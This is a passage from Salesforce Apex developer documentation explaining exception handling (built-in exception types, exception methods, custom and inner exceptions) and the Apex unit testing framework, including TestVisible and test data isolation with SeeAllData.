    System.debug('The following exception has occurred: ' + le.getMessage());
}
```

NullPointerException

Any problem with dereferencing a `null` variable.

This example creates a String variable named `s` but we don't initialize it to a value, hence, it is null. Calling the `contains` method on our null variable causes a `NullPointerException`. The exception is caught in our catch block and this is what is written to the debug log: The following exception has occurred: Attempt to de-reference a null object.

```
try {
    String s;
    Boolean b = s.contains('abc'); // Causes a NullPointerException
} catch(NullPointerException npe) {
    System.debug('The following exception has occurred: ' + npe.getMessage());
}
```

QueryException

Any problem with SOQL queries, such as assigning a query that returns no records or more than one record to a singleton `sObject` variable.

The second SOQL query in this example causes a `QueryException`. The example assigns a `Merchandise` object to what is returned from the query. Note the use of `LIMIT 1` in the query. This ensures that at most one object is returned from the database so we can assign it to a single object and not a list. However, in this case, we don't have a `Merchandise` named `XYZ`, so nothing is returned, and the attempt to assign the return value to a single object results in a `QueryException`. The exception is caught in our catch block and this is what you'll see in the debug log: `The following exception has occurred: List has no rows for assignment to SObject.`

```
try {
    // This statement doesn't cause an exception, even though
    // we don't have a merchandise with name='XYZ'.
    // The list will just be empty.
    List<Merchandise__c> lm = [SELECT Name FROM Merchandise__c WHERE Name = 'XYZ'];
    // lm.size() is 0
    System.debug(lm.size());

    // However, this statement causes a QueryException because
    // we're assigning the return value to a Merchandise__c object
    // but no Merchandise is returned.
    Merchandise__c m = [SELECT Name FROM Merchandise__c WHERE Name = 'XYZ' LIMIT 1];
} catch(QueryException qe) {
    System.debug('The following exception has occurred: ' + qe.getMessage());
}
```

SObjectException

Any problem with `SObject` records, such as attempting to change a field in an `update` statement that can only be changed during `insert`.

This example results in an `SObjectException` in the try block, which is caught in the catch block. The example queries an invoice statement and selects only its `Name` field. It then attempts to get the `Description__c` field on the queried `SObject`, which isn't available because it isn't in the list of fields queried in the `SELECT` statement. This results in an `SObjectException`. This exception is caught in our catch block and this is what you'll see in the debug log: `The following exception has occurred: SObject row was retrieved via SOQL without querying the requested field:`

`Invoice_Statement__c.Description__c.`

```
try {
    Invoice_Statement__c inv = new Invoice_Statement__c(
        Description__c='New Invoice');
    insert inv;

    // Query the invoice we just inserted
    Invoice_Statement__c v = [SELECT Name FROM Invoice_Statement__c WHERE Id = :inv.Id];

    // Causes an SObjectException because we didn't retrieve
    // the Description__c field.
    String s = v.Description__c;
} catch(SObjectException se) {
    System.debug('The following exception has occurred: ' + se.getMessage());
}
```

Common Exception Methods

You can use common exception methods to get more information about an exception, such as the exception error message or the stack trace. The previous example calls the `getMessage` method, which returns the error message associated with the exception. There are other exception methods that are also available. Here are descriptions of some useful methods:

- `getCause`: Returns the cause of the exception as an exception object.
- `getLineNumber`: Returns the line number from where the exception was thrown.
- `getMessage`: Returns the error message that displays for the user.
- `getStackTraceString`: Returns the stack trace of a thrown exception as a string.
- `getTypeName`: Returns the type of exception, such as `DmlException`, `ListException`, `MathException`, and so on.

Example

To find out what some of the common methods return, try running this example.

```
try {
    Merchandise__c m = [SELECT Name FROM Merchandise__c LIMIT 1];
    // Causes an SObjectException because we didn't retrieve
    // the Total_Inventory__c field.
    Double inventory = m.Total_Inventory__c;
} catch(Exception e) {
    System.debug('Exception type caught: ' + e.getTypeName());
    System.debug('Message: ' + e.getMessage());
    System.debug('Cause: ' + e.getCause());    // returns null
    System.debug('Line number: ' + e.getLineNumber());
    System.debug('Stack trace: ' + e.getStackTraceString());
}
```

The output of all `System.debug` statements looks like the following:

```
17:38:04:149 USER_DEBUG [7]|DEBUG|Exception type caught: System.SObjectException
17:38:04:149 USER_DEBUG [8]|DEBUG|Message: SObject row was retrieved via SOQL without
querying the requested field: Merchandise__c.Total_Inventory__c
17:38:04:150 USER_DEBUG [9]|DEBUG|Cause: null
17:38:04:150 USER_DEBUG [10]|DEBUG|Line number: 5
17:38:04:150 USER_DEBUG [11]|DEBUG|Stack trace: AnonymousBlock: line 5, column 1
```

The catch statement argument type is the generic `Exception` type. It caught the more specific `SObjectException`. You can verify that this is so by inspecting the return value of `e.getTypeName()` in the debug output. The output also contains other properties of the `SObjectException`, like the error message, the line number where the exception occurred, and the stack trace. You might be wondering why `getCause` returned null. This is because in our sample there was no previous exception (inner exception) that caused this exception. In [Create Custom Exceptions](#), you'll get to see an example where the return value of `getCause` is an actual exception.

More Exception Methods

Some exception types, such as `DmlException`, have specific exception methods that apply to only them and aren't common to other exception types:

- `getDmlFieldNames(Index of the failed record)`: Returns the names of the fields that caused the error for the specified failed record.
- `getDmlId(Index of the failed record)`: Returns the ID of the failed record that caused the error for the specified failed record.
- `getDmlMessage(Index of the failed record)`: Returns the error message for the specified failed record.
- `getNumDml`: Returns the number of failed records.

Example

This snippet makes use of the `DmlException` methods to get more information about the exceptions returned when inserting a list of `Merchandise` objects. The list of items to insert contains three items, the last two of which don't have required fields and cause exceptions.

```
Merchandise__c m1 = new Merchandise__c(
    Name='Coffeemaker',
    Description__c='Kitchenware',
    Price__c=25,
    Total_Inventory__c=1000);
// Missing the Price and Total_Inventory fields
Merchandise__c m2 = new Merchandise__c(
    Name='Coffeemaker B',
    Description__c='Kitchenware');
// Missing all required fields
Merchandise__c m3 = new Merchandise__c();
Merchandise__c[] mList = new List<Merchandise__c>();
mList.add(m1);
mList.add(m2);
mList.add(m3);

try {
    insert mList;
} catch (DmlException de) {
    Integer numErrors = de.getNumDml();
    System.debug('getNumDml=' + numErrors);
    for(Integer i=0;i<numErrors;i++) {
        System.debug('getDmlFieldNames=' + de.getDmlFieldNames(i));
        System.debug('getDmlMessage=' + de.getDmlMessage(i));
    }
}
```

Note how the sample above didn't include all the initial code in the `try` block. Only the portion of the code that could generate an exception is wrapped inside a `try` block, in this case the `insert` statement could return a DML exception in case the input data is not valid. The exception resulting from the `insert` operation is caught by the `catch` block that follows it. After executing this sample, you'll see an output of `System.debug` statements similar to the following:

```
14:01:24:939 USER_DEBUG [20]|DEBUG|getNumDml=2
14:01:24:941 USER_DEBUG [23]|DEBUG|getDmlFieldNames=(Price, Total Inventory)
14:01:24:941 USER_DEBUG [24]|DEBUG|getDmlMessage=Required fields are missing: [Price,
Total Inventory]
14:01:24:942 USER_DEBUG [23]|DEBUG|getDmlFieldNames=(Description, Price, Total Inventory)
14:01:24:942 USER_DEBUG [24]|DEBUG|getDmlMessage=Required fields are missing:
[Description, Price, Total Inventory]
```

The number of DML failures is correctly reported as two since two items in our list fail insertion. Also, the field names that caused the failure, and the error message for each failed record is written to the output.

Catching Different Exception Types

In the previous examples, we used the specific exception type in the catch block. We could have also just caught the generic `Exception` type in all examples, which catches all exception types. For example, try running this example that throws an `SObjectException` and has a catch statement with an argument type of `Exception`. The `SObjectException` gets caught in the catch block.

```
try {
    Merchandise__c m = [SELECT Name FROM Merchandise__c LIMIT 1];
    // Causes an SObjectException because we didn't retrieve
    // the Total_Inventory__c field.
    Double inventory = m.Total_Inventory__c;
} catch(Exception e) {
    System.debug('The following exception has occurred: ' + e.getMessage());
}
```

Alternatively, you can have several catch blocks—a catch block for each exception type, and a final catch block that catches the generic `Exception` type. Look at this example. Notice that it has three catch blocks.

```
try {
    Merchandise__c m = [SELECT Name FROM Merchandise__c LIMIT 1];
    // Causes an SObjectException because we didn't retrieve
    // the Total_Inventory__c field.
    Double inventory = m.Total_Inventory__c;
} catch(DmlException e) {
    System.debug('DmlException caught: ' + e.getMessage());
} catch(SObjectException e) {
    System.debug('SObjectException caught: ' + e.getMessage());
} catch(Exception e) {
    System.debug('Exception caught: ' + e.getMessage());
}
```

Remember that only one catch block gets executed and the remaining ones are bypassed. This example is similar to the previous one, except that it has a few more catch blocks. When you run this snippet, an `SObjectException` is thrown on this line: `Double inventory = m.Total_Inventory__c;`. Every catch block is examined in the order specified to find a match between the thrown exception and the exception type specified in the catch block argument:

1. The first catch block argument is of type `DmlException`, which doesn't match the thrown exception (`SObjectException`).
2. The second catch block argument is of type `SObjectException`, which matches our exception, so this block gets executed and the following message is written to the debug log: `SObjectException caught: SObject row was retrieved via SQL without querying the requested field: Merchandise__c.Total_Inventory__c`.
3. The last catch block is ignored since one catch block has already executed.

The last catch block is handy because it catches any exception type, and so catches any exception that was not caught in the previous catch blocks. Suppose we modified the code above to cause a `NullPointerException` to be thrown, this exception gets caught in the last catch block. Execute this modified example. You'll see the following debug message: `Exception caught: Attempt to de-reference a null object`.

```
try {
    String s;
    Boolean b = s.contains('abc'); // Causes a NullPointerException
} catch(DmlException e) {
    System.debug('DmlException caught: ' + e.getMessage());
} catch(SObjectException e) {
    System.debug('SObjectException caught: ' + e.getMessage());
} catch(Exception e) {
    System.debug('Exception caught: ' + e.getMessage());
}
```

```
System.debug('Exception caught: ' + e.getMessage());
}
```

Create Custom Exceptions

Custom exceptions enable you to specify detailed error messages and have more custom error handling in your catch blocks.

Exceptions can be top-level classes, that is, they can have member variables, methods and constructors, they can implement interfaces, and so on.

To create your custom exception class, extend the built-in `Exception` class and make sure your class name ends with the word `Exception`, such as “`MyException`” or “`PurchaseException`”. All exception classes extend the system-defined base class `Exception`, and therefore, inherits all common `Exception` methods.

This example defines a custom exception called `MyException`.

```
public class MyException extends Exception {}
```

Like Java classes, user-defined exception types can form an inheritance tree, and catch blocks can catch any object in this inheritance tree. For example:

```
public class ExceptionExample {
    public virtual class BaseException extends Exception {}
    public class OtherException extends BaseException {}

    public static void testExtendedException() {
        try {
            Integer i=0;
            // Your code here
            if (i < 5) throw new OtherException('This is bad');
        } catch (BaseException e) {
            // This catches the OtherException
            System.debug(e.getMessage());
        }
    }
}
```

Here are some ways you can create your exceptions objects, which you can then throw.

You can construct exceptions:

- With no arguments:

```
new MyException();
```

- With a single `String` argument that specifies the error message:

```
new MyException('This is bad');
```

- With a single `Exception` argument that specifies the cause and that displays in any stack trace:

```
new MyException(e);
```

- With both a `String` error message and a chained exception cause that displays in any stack trace:

```
new MyException('This is bad', e);
```


Rethrowing Exceptions and Inner Exceptions

After catching an exception in a catch block, you have the option to rethrow the caught exception variable. This is useful if your method is called by another method and you want to delegate the handling of the exception to the caller method. You can rethrow the caught exception as an inner exception in your custom exception and have the main method catch your custom exception type.

The following example shows how to rethrow an exception as an inner exception. The example defines two custom exceptions, `My1Exception` and `My2Exception`, and generates a stack trace with information about both.

```
// Define two custom exceptions
public class My1Exception extends Exception {}
public class My2Exception extends Exception {}

try {
    // Throw first exception
    throw new My1Exception('First exception');
} catch (My1Exception e) {
    // Throw second exception with the first
    // exception variable as the inner exception
    throw new My2Exception('Thrown with inner exception', e);
}
```

This is how the stack trace looks like resulting from running the code above:

```
15:52:21:073 EXCEPTION_THROWN [7]|My1Exception: First exception
15:52:21:077 EXCEPTION_THROWN [11]|My2Exception: Throw with inner exception
15:52:21:000 FATAL_ERROR AnonymousBlock: line 11, column 1
15:52:21:000 FATAL_ERROR Caused by
15:52:21:000 FATAL_ERROR AnonymousBlock: line 7, column 1
```

The example in the next section shows how to handle an exception with an inner exception by calling the `getCause` method.

Inner Exception Example

Now that you've seen how to create a custom exception class and how to construct your exception objects, let's create and run an example that demonstrates the usefulness of custom exceptions.

1. In the Developer Console, create a class named `MerchandiseException` and confirm that it has this content.

```
public class MerchandiseException extends Exception {

}
```

You'll use this exception class in the second class that you create. The curly braces at the end enclose the body of your exception class, which we left empty because we get some free code—our class inherits all the constructors and common exception methods, such as `getMessage`, from the built-in `Exception` class.

2. Next, create a second class named `MerchandiseUtility`.

```
public class MerchandiseUtility {
    public static void mainProcessing() {
        try {
            insertMerchandise();
        } catch (MerchandiseException me) {
            System.debug('Message: ' + me.getMessage());
        }
    }
}
```

```

        System.debug('Cause: ' + me.getCause());
        System.debug('Line number: ' + me.getLineNumber());
        System.debug('Stack trace: ' + me.getStackTraceString());
    }
}

public static void insertMerchandise() {
    try {
        // Insert merchandise without required fields
        Merchandise__c m = new Merchandise__c();
        insert m;
    } catch(DmlException e) {
        // Something happened that prevents the insertion
        // of Employee custom objects, so throw a more
        // specific exception.
        throw new MerchandiseException(
            'Merchandise item could not be inserted.', e);
    }
}
}

```

This class contains the `mainProcessing` method, which calls `insertMerchandise`. The latter causes an exception by inserting a `Merchandise` without required fields. The catch block catches this exception and throws a new exception, the custom `MerchandiseException` you created earlier. Notice that we called a constructor for the exception that takes two arguments: the error message, and the original exception object. You might wonder why we are passing the original exception? Because it is useful information—when the `MerchandiseException` gets caught in the first method, `mainProcessing`, the original exception (referred to as an inner exception) is really the cause of this exception because it occurred before the `MerchandiseException`.

- Now let's see all this in action to understand better. Execute the following:

```
MerchandiseUtility.mainProcessing();
```

- Check the debug log output. You should see something similar to the following:

```

18:12:34:928 USER_DEBUG [6]|DEBUG|Message: Merchandise item could not be inserted.
18:12:34:929 USER_DEBUG [7]|DEBUG|Cause: System.DmlException: Insert failed. First
exception on row 0; first error: REQUIRED_FIELD_MISSING, Required fields are missing:
[Description, Price, Total Inventory]: [Description, Price, Total Inventory]
18:12:34:929 USER_DEBUG [8]|DEBUG|Line number: 22
18:12:34:930 USER_DEBUG [9]|DEBUG|Stack trace:
Class.EmployeeUtilityClass.insertMerchandise: line 22, column 1

```

A few items of interest:

- The cause of `MerchandiseException` is the `DmlException`. You can see the `DmlException` message also that states that required fields were missing.
- The stack trace is line 22, which is the second time an exception was thrown. It corresponds to the throw statement of `MerchandiseException`.

```
throw new MerchandiseException('Merchandise item could not be inserted.', e);
```

Testing Apex

Apex provides a testing framework that allows you to write unit tests, run your tests, check test results, and have code coverage results.

Let's talk about unit tests, data visibility for tests, and the tools that are available on the Lightning platform for testing Apex. We'll also describe testing best practices and a testing example.



Note: To protect the privacy of your data, make sure that test error messages and exception details don't contain any personal data. The Apex exception handler and testing framework can't determine if sensitive data is contained in user-defined messages and details. To include personal data in custom Apex exceptions, we recommend that you create an Exception subclass with new properties that hold the personal data. Then, don't include subclass property information in the exception's message string.

[Understanding Testing in Apex](#)

[What to Test in Apex](#)

[What Are Apex Unit Tests?](#)

[Understanding Test Data](#)

Apex test data is transient and isn't committed to the database.

[Run Unit Test Methods](#)

To verify the functionality of your Apex code, execute unit tests. You can run Apex test methods in the Developer Console, in Setup, in the Salesforce extensions for Visual Studio Code, or using the API.

[Testing Best Practices](#)

[Testing Example](#)

[Testing and Code Coverage](#)

The Apex testing framework generates code coverage numbers for your Apex classes and triggers every time you run one or more tests. Code coverage indicates how many executable lines of code in your classes and triggers have been exercised by test methods. Write test methods to test your triggers and classes, and then run those tests to generate code coverage information.

[Code Coverage Best Practices](#)

Consider the following code coverage tips and best practices.

[Build a Mocking Framework with the Stub API](#)

Apex provides a stub API for implementing a mocking framework. A mocking framework has many benefits. It can streamline and improve testing and help you create faster, more reliable tests. You can use it to test classes in isolation, which is important for unit testing. Building your mocking framework with the stub API can also be beneficial because stub objects are generated at runtime. Because these objects are generated dynamically, you don't have to package and deploy test classes. You can build your own mocking framework, or you can use one built by someone else.

[Apex Integration Tests for Agentforce and Data 360 Services \(Developer Preview\)](#)

Use Apex integration tests to write end-to-end tests that exercise real interactions between your Salesforce org and services such as Agentforce and Data 360. Unlike standard Apex unit tests, integration tests relax callout restrictions and transaction rollback semantics, so your tests can make real service calls, commit data mid-transaction, and make assertions on expected outcomes. As a developer preview feature, integration tests are available only in scratch orgs. You can't run them in production orgs or during metadata deployments.

Understanding Testing in Apex

Testing is the key to successful long-term development and is a critical component of the development process. We strongly recommend that you use a *test-driven development* process, that is, test development that occurs at the same time as code development.

Why Test Apex?

Testing is key to the success of your application, particularly if your application is to be deployed to customers. If you validate that your application works as expected, that there are no unexpected behaviors, your customers are going to trust you more.

There are two ways of testing an application. One is through the Salesforce user interface, important, but merely testing through the user interface will not catch all of the use cases for your application. The other way is to test for bulk functionality: up to 200 records can be passed through your code if it's invoked using SOAP API or by a Visualforce standard set controller.

An application is seldom finished. You will have additional releases of it, where you change and extend functionality. If you have written comprehensive tests, you can ensure that a regression is not introduced with any new functionality.

Before you can deploy your code or package it for the Salesforce AppExchange, the following must be true.

- Unit tests must cover at least 75% of your Apex code, and all of those tests must complete successfully.

Note the following.

- When deploying Apex to a production organization, each unit test in your organization namespace is executed by default.
 - Calls to `System.debug` aren't counted as part of Apex code coverage.
 - Test methods and test classes aren't counted as part of Apex code coverage.
 - While only 75% of your Apex code must be covered by tests, don't focus on the percentage of code that is covered. Instead, make sure that every use case of your application is covered, including positive and negative cases, as well as bulk and single records. This approach ensures that 75% or more of your code is covered by unit tests.
- Every trigger must have some test coverage.
 - All classes and triggers must compile successfully.

Salesforce runs all tests in all organizations that have Apex code to verify that no behavior has been altered as a result of any service upgrades.

What to Test in Apex

Salesforce recommends that you write tests for the following:

Single action

Test to verify that a single record produces the correct, expected result.

Bulk actions

Any Apex code, whether a trigger, a class or an extension, may be invoked for 1 to 200 records. You must test not only the single record case, but the bulk cases as well.

Positive behavior

Test to verify that the expected behavior occurs through every expected permutation, that is, that the user filled out everything correctly and did not go past the limits.

Negative behavior

There are likely limits to your applications, such as not being able to add a future date, not being able to specify a negative amount, and so on. You must test for the negative case and verify that the error messages are correctly produced as well as for the positive, within the limits cases.

Restricted user

Test whether a user with restricted access to the sObjects used in your code sees the expected behavior. That is, whether they can run the code or receive error messages.

 **Note:** Conditional and ternary operators are not considered executed unless both the positive and negative branches are executed.

For examples of these types of tests, see [Testing Example](#) on page 742.

What Are Apex Unit Tests?

To facilitate the development of robust, error-free code, Apex supports the creation and execution of *unit tests*. Unit tests are class methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to the database, and send no emails. Such methods are flagged with the `@IsTest` annotation in the method definition. Unit test methods must be defined in test classes, that is, classes annotated with `@IsTest`.

For example:

```
@IsTest
private class myClass {
    @IsTest
    static void myTest() {
        // code_block
    }
}
```

Use the `@IsTest` annotation to define classes and methods that only contain code used for testing your application. The `@IsTest` annotation can take multiple modifiers within parentheses and separated by blanks.



Note: The `@IsTest` annotation on methods is equivalent to the `testMethod` keyword. As best practice, Salesforce recommends that you use `@IsTest` rather than `testMethod`. The `testMethod` keyword may be versioned out in a future release.

This example of a test class contains two test methods.

```
@IsTest
private class MyTestClass {

    // Methods for testing
    @IsTest
    static void test1() {
        // Implement test code
    }

    @IsTest
    static void test2() {
        // Implement test code
    }

}
```

Classes and methods defined as `@IsTest` can be either `private` or `public`. The access level of test classes methods doesn't matter. You need not add an access modifier when defining a test class or test methods. The default access level in Apex is private. The testing framework can always find the test methods and execute them, regardless of their access level.

Classes defined as `@IsTest` must be top-level classes and can't be interfaces or enums.

Methods of a test class can only be called from a test method or code invoked by a test method; non-test requests can't invoke it.

This example shows a class to be tested and its corresponding test class. It contains two methods and a constructor.

```
public class TVRemoteControl {
    // Volume to be modified
    Integer volume;
    // Constant for maximum volume value
    static final Integer MAX_VOLUME = 50;
```

```

// Constructor
public TVRemoteControl(Integer v) {
    // Set initial value for volume
    volume = v;
}

public Integer increaseVolume(Integer amount) {
    volume += amount;
    if (volume > MAX_VOLUME) {
        volume = MAX_VOLUME;
    }
    return volume;
}

public Integer decreaseVolume(Integer amount) {
    volume -= amount;
    if (volume < 0) {
        volume = 0;
    }
    return volume;
}

public static String getMenuOptions() {
    return 'AUDIO SETTINGS - VIDEO SETTINGS';
}
}

```

This example contains the corresponding test class with four test methods. Each method in the previous class is called. Although there's sufficient test coverage, the test methods in the test class perform extra testing to verify boundary conditions.

```

@IsTest
class TVRemoteControlTest {
    @IsTest
    static void testVolumeIncrease() {
        TVRemoteControl rc = new TVRemoteControl(10);
        Integer newVolume = rc.increaseVolume(15);
        System.assertEquals(25, newVolume);
    }

    @IsTest
    static void testVolumeDecrease() {
        TVRemoteControl rc = new TVRemoteControl(20);
        Integer newVolume = rc.decreaseVolume(15);
        System.assertEquals(5, newVolume);
    }

    @IsTest
    static void testVolumeIncreaseOverMax() {
        TVRemoteControl rc = new TVRemoteControl(10);
        Integer newVolume = rc.increaseVolume(100);
        System.assertEquals(50, newVolume);
    }

    @IsTest

```

```

static void testVolumeDecreaseUnderMin() {
    TVRemoteControl rc = new TVRemoteControl(10);
    Integer newVolume = rc.decreaseVolume(100);
    System.assertEquals(0, newVolume);
}

@IsTest
static void testGetMenuOptions() {
    // Static method call. No need to create a class instance.
    String menu = TVRemoteControl.getMenuOptions();
    System.assertNotEquals(null, menu);
    System.assertNotEquals('', menu);
}
}

```

Unit Test Considerations

Here are some things to note about unit tests.

- Starting with Salesforce API 28.0, test methods can no longer reside in non-test classes and must be part of classes annotated with `IsTest`. See the [TestVisible](#) annotation to learn how you can access private class members from a test class.
- Test methods can't be used to test Web service callouts. Instead, use mock callouts. See [Test Web Service Callouts](#) and [Testing HTTP Callouts](#).
- You can't send email messages from a test method.
- Since test methods don't commit data created in the test, you don't have to delete test data upon completion.
- If the value of a static member variable in a test class is changed in a testSetup or test method, the new value isn't preserved. Other test methods in this class get the original value of the static member variable. This behavior also applies when the static member variable is defined in another class and accessed in test methods.
- For some sObjects that have fields with unique constraints, inserting duplicate sObject records results in an error. For example, inserting CollaborationGroup sObjects with the same names results in an error because CollaborationGroup records must have unique names.
- Tracked changes for a record (FeedTrackedChange records) in Chatter feeds aren't available when test methods modify the associated record. FeedTrackedChange records require the change to the parent record they're associated with to be committed to the database before they're created. Since test methods don't commit data, they don't result in the creation of FeedTrackedChange records. Similarly, field history tracking records can't be created in test methods because they require other sObject records to be committed first. For example, AccountHistory records can't be created in test methods because Account records must be committed first.
- If your tests include DML, make sure that you don't exceed the MAX_DML_ROWS limit. See "Miscellaneous Apex Limits" in [Execution Governors and Limits](#)

1. [Accessing Private Test Class Members](#)

SEE ALSO:

[IsTest Annotation](#)

Accessing Private Test Class Members

Test methods are defined in a test class, separate from the class they test. This can present a problem when having to access a private class member variable from the test method, or when calling a private method. Because these are private, they aren't visible to the test

class. You can either modify the code in your class to expose public methods that will make use of these private class members, or you can simply annotate these private class members with `TestVisible`. When you annotate private or protected members with this annotation, they can be accessed by test methods and only code running in test context.

This example shows how `TestVisible` is used with private member variables, a private inner class with a constructor, a private method, and a private custom exception. All these can be accessed in the test class because they're annotated with `TestVisible`. The class is listed first and is followed by a test class containing the test methods.

```
public class VisibleSampleClass {
    // Private member variables
    @TestVisible private Integer recordNumber = 0;
    @TestVisible private String areaCode = '(415)';
    // Public member variable
    public Integer maxRecords = 1000;

    // Private inner class
    @TestVisible class Employee {
        String fullName;
        String phone;

        // Constructor
        @TestVisible Employee(String s, String ph) {
            fullName = s;
            phone = ph;
        }
    }

    // Private method
    @TestVisible private String privateMethod(Employee e) {
        System.debug('I am private. ');
        recordNumber++;
        String phone = areaCode + ' ' + e.phone;
        String s = e.fullName + '\s phone number is ' + phone;
        System.debug(s);
        return s;
    }

    // Public method
    public void publicMethod() {
        maxRecords++;
        System.debug('I am public. ');
    }

    // Private custom exception class
    @TestVisible private class MyException extends Exception {}
}
```

```
// Test class for VisibleSampleClass
@isTest
private class VisibleSampleClassTest {

    // This test method can access private members of another class
    // that are annotated with @TestVisible.
    static testmethod void test1() {
        VisibleSampleClass sample = new VisibleSampleClass ();
    }
}
```



```

        // Access private data members and update their values
        sample.recordNumber = 100;
        sample.areaCode = '(510)';

        // Access private inner class
        VisibleSampleClass.Employee emp =
            new VisibleSampleClass.Employee('Joe Smith', '555-1212');

        // Call private method
        String s = sample.privateMethod(emp);

        // Verify result
        System.assert(
            s.contains('(510)') &&
            s.contains('Joe Smith') &&
            s.contains('555-1212'));
    }

    // This test method can throw private exception defined in another class
    static testmethod void test2() {
        // Throw private exception.
        try {
            throw new VisibleSampleClass.MyException('Thrown from a test.');
```

```

        } catch(VisibleSampleClass.MyException e) {
            // Handle exception
        }
    }

    static testmethod void test3() {
        // Access public method.
        // No @TestVisible is used.
        VisibleSampleClass sample = new VisibleSampleClass ();
        sample.publicMethod();
    }
}

```

The `TestVisible` annotation can be handy when you upgrade the Salesforce API version of existing classes containing mixed test and non-test code. Because test methods aren't allowed in non-test classes starting in API version 28.0, you must move the test methods from the old class into a new test class (a class annotated with `isTest`) when you upgrade the API version of your class. You might run into visibility issues when accessing private methods or member variables of the original class. In this case, just annotate these private members with `TestVisible`.

Understanding Test Data

Apex test data is transient and isn't committed to the database.

This means that after a test method finishes execution, the data inserted by the test doesn't persist in the database. As a result, there is no need to delete any test data at the conclusion of a test. Likewise, all the changes to existing records, such as updates or deletions, don't persist. This transient behavior of test data makes the management of data easier as you don't have to perform any test data cleanup. At the same time, if your tests access organization data, this prevents accidental deletions or modifications to existing records.

By default, existing organization data isn't visible to test methods, with the exception of certain setup objects. You should create test data for your test methods whenever possible. However, test code saved against Salesforce API version 23.0 or earlier has access to all data in the organization. Data visibility for tests is covered in more detail in the next section.

Isolation of Test Data from Organization Data in Unit Tests

Using the `isTest(SeeAllData=True)` Annotation

Annotate your test class or test method with `IsTest(SeeAllData=true)` to open up data access to records in your organization. The `IsTest(SeeAllData=true)` annotation applies to data queries but doesn't apply to record creation or changes, including deletions. New and changed records are still rolled back in Apex tests even when using the annotation.

Loading Test Data

Using the `Test.loadData` method, you can populate data in your test methods without having to write many lines of code.

Common Test Utility Classes for Test Data Creation

Common test utility classes are public test classes that contain reusable code for test data creation.

Using Test Setup Methods

Use test setup methods (methods that are annotated with `@testSetup`) to create test records once and then access them in every test method in the test class. Test setup methods can be time-saving when you need to create reference or prerequisite data for all test methods, or a common set of records that all test methods operate on.

Isolation of Test Data from Organization Data in Unit Tests

By default, Apex test methods (API version 24.0 and later) can't access pre-existing org data such as standard objects, custom objects, and custom settings data. They can only access data that they create. However, objects that are used to manage your organization or metadata objects can still be accessed in your tests. These are some examples of such objects.

- User
- Profile
- Organization
- CronTrigger
- RecordType
- ApexClass
- ApexTrigger
- ApexComponent
- ApexPage

Whenever possible, create test data for each test. You can disable this restriction by annotating your test class or test method with the `IsTest(SeeAllData=true)` annotation.

Test code saved using Salesforce API version 23.0 or earlier continues to have access to all data in the organization and its data access is unchanged.

Data Access Considerations

- When working with data silo Apex tests, cross-object field references using the `Owner` relationship aren't supported. Due to this limitation, `SELECT Owner.IsActive FROM Account` returns null when run within a data silo Apex test.
- If a new test method saved using Salesforce API version 24.0 or later calls a method in another class saved using version 23.0 or earlier, the data access restrictions of the caller are enforced in the called method. The called method can't access organization data because the caller can't access it, even though it was saved in an earlier version.

- The `IsTest (SeeAllData=true)` annotation has no effect when added to Apex code saved using Salesforce API version 23.0 and earlier.
- This access restriction to test data applies to all code running in test context. For example, if a test method causes a trigger to execute and the test can't access organization data, the trigger won't be able to either.
- If a test makes a Visualforce request, the executing test stays in test context but runs in a different thread. Therefore, test data isolation is no longer enforced. In this case, the test will be able to access all data in the organization after initiating the Visualforce request. However, if the Visualforce request performs a callback, such as a JavaScript remoting call, any data inserted by the callback isn't visible to the test.
- The VLOOKUP validation rule function, in API version 27.0 and earlier, always looks up org data in addition to test data when fired by a running Apex test. Starting with version 28.0, the VLOOKUP validation rule function no longer accesses organization data from a running Apex test. The function looks up only data created by the test, unless the test class or method is annotated with `IsTest (SeeAllData=true)`.
- There can be some cases where you can't create certain types of data from your test method because of specific limitations. Here are some examples of such limitations.
 - Some standard objects aren't creatable. For more information on these objects, see the [Object Reference for Salesforce](#).
 - For some sObjects that have fields with unique constraints, inserting duplicate sObject records results in an error. For example, inserting CollaborationGroup sObjects with the same names results in an error because CollaborationGroup records must have unique names. This error occurs whether your test is annotated with `IsTest (SeeAllData=true)`, or not.
 - Records that are created only after related records are committed to the database, like tracked changes in Chatter. Tracked changes for a record (FeedTrackedChange records) in Chatter feeds aren't available when test methods modify the associated record. FeedTrackedChange records require the change to the parent record they're associated with to be committed to the database before they're created. Since test methods don't commit data, they don't result in the creation of FeedTrackedChange records. Similarly, field history tracking records can't be created in test methods because they require other sObject records to be committed first. For example, AccountHistory records can't be created in test methods because Account records must be committed first.
- When working with data silo Apex tests, Salesforce recommends that you don't share record IDs between test data and org data, thereby preventing test data from accessing pre-existing org data.

Using the `isTest(SeeAllData=True)` Annotation

Annotate your test class or test method with `IsTest (SeeAllData=true)` to open up data access to records in your organization. The `IsTest(SeeAllData=true)` annotation applies to data queries but doesn't apply to record creation or changes, including deletions. New and changed records are still rolled back in Apex tests even when using the annotation.



Warning: By annotating your class with `@isTest (SeeAllData=true)`, you allow test methods to access all org records. The best practice, however, is to run Apex tests with data silo using `@isTest (SeeAllData=false)`. For data access considerations in Salesforce API version 23.0 and earlier, see [Isolation of Test Data from Organization Data in Unit Tests](#) on page 726.

This example shows how to define a test class with the `@IsTest (SeeAllData=true)` annotation. All the test methods in this class have access to all data in the organization.

```
// All test methods in this class can access all data.
@IsTest (SeeAllData=true)
public class TestDataAccessClass {

    // This test accesses an existing account.
    // It also creates and accesses a new test account.
    @IsTest
```

```

static void myTestMethod1() {
    // Query an existing account in the organization.
    Account a = [SELECT Id, Name FROM Account WHERE Name='Acme' LIMIT 1];
    System.assert(a != null);

    // Create a test account based on the queried account.
    Account testAccount = a.clone();
    testAccount.Name = 'Acme Test';
    insert testAccount;

    // Query the test account that was inserted.
    Account testAccount2 = [SELECT Id, Name FROM Account
                           WHERE Name='Acme Test' LIMIT 1];
    System.assert(testAccount2 != null);
}

// Like the previous method, this test method can also access all data
// because the containing class is annotated with @IsTest(SeeAllData=true).
@IsTest
static void myTestMethod2() {
    // Can access all data in the organization.
}
}

```

This second example shows how to apply the `@IsTest(SeeAllData=true)` annotation on a test method. Because the test method's class isn't annotated, you have to annotate the method to enable access to all data for the method. The second test method doesn't have this annotation, so it can access only the data it creates. In addition, it can access objects that are used to manage your organization, such as users.

```

// This class contains test methods with different data access levels.
@IsTest
private class ClassWithDifferentDataAccess {

    // Test method that has access to all data.
    @IsTest(SeeAllData=true)
    static void testWithAllDataAccess() {
        // Can query all data in the organization.
    }

    // Test method that has access to only the data it creates
    // and organization setup and metadata objects.
    @IsTest
    static void testWithOwnDataAccess() {
        // This method can still access the User object.
        // This query returns the first user object.
